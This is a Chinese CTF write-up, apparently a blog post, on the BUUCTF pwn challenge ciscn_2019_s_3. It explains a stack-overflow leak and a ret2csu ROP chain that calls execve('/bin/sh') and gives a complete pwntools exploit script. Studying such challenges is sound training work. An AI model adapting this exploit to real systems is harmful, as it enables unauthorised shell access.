【BUUCTF - PWN】ciscn_2019_s_3

本文详细解析了利用ROP(Return-Oriented Programming)技术解决栈溢出漏洞的过程,通过分析vuln函数特性,确定了ROP链的构建策略。文章介绍了如何通过gdb调试确定关键地址,利用通用gadget控制参数传递,最终实现/bin/sh的调用以获取shell。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

checksec一下,栈溢出

IDA打开看看,main函数内只有一个call vuln

注意到vuln函数末尾并没有使用leave指令,即直接把之前push的rbp当作return address
我们要ROP的话offset只需要0x10

程序里还给了一些gadget,注意到当rax=0x3b时syscall为execve,只需要让rdi="/bin/sh"、rsi=0、rdx=0即可get shell

注意到write会打印0x30个字符,其中前0x20个字符没什么用,接下来8个字符是栈上的一个地址,通过gdb调试可以确定它相对于我们输入的首字符的偏移为0x118,从而确定我们下次输入时写在开头的/bin/sh的地址

由于还需要控制第二个和第三个参数,因此选用通用gadget
r12需要指向存放下一个ROP的地址的代码,在这里可以确定相对于输入开头的偏移为0x50

from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='amd64'
context.log_level='debug'

sl=lambda x:io.sendline(x)
rn=lambda x:io.recv(x)

io=remote('xxx',xxx)

vuln=0x4004ed
pop_rdi=0x4005a3
pop_regs=0x40059a
mov_call=0x400580
mov_rax=0x4004e2
syscall=0x400517

payload=p64(0)*2+p64(vuln)
sl(payload)
rn(0x20)
binsh=u64(rn(8))-0x118
payload='/bin/sh\0'.encode('utf-8')+p64(0)+p64(pop_regs)+p64(0)*2+p64(binsh+0x50)+p64(0)*3+p64(mov_call)+p64(pop_rdi)+p64(binsh)+p64(mov_rax)+p64(syscall)
sl(payload)

io.interactive()

附件:ciscn_2019_s_3

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值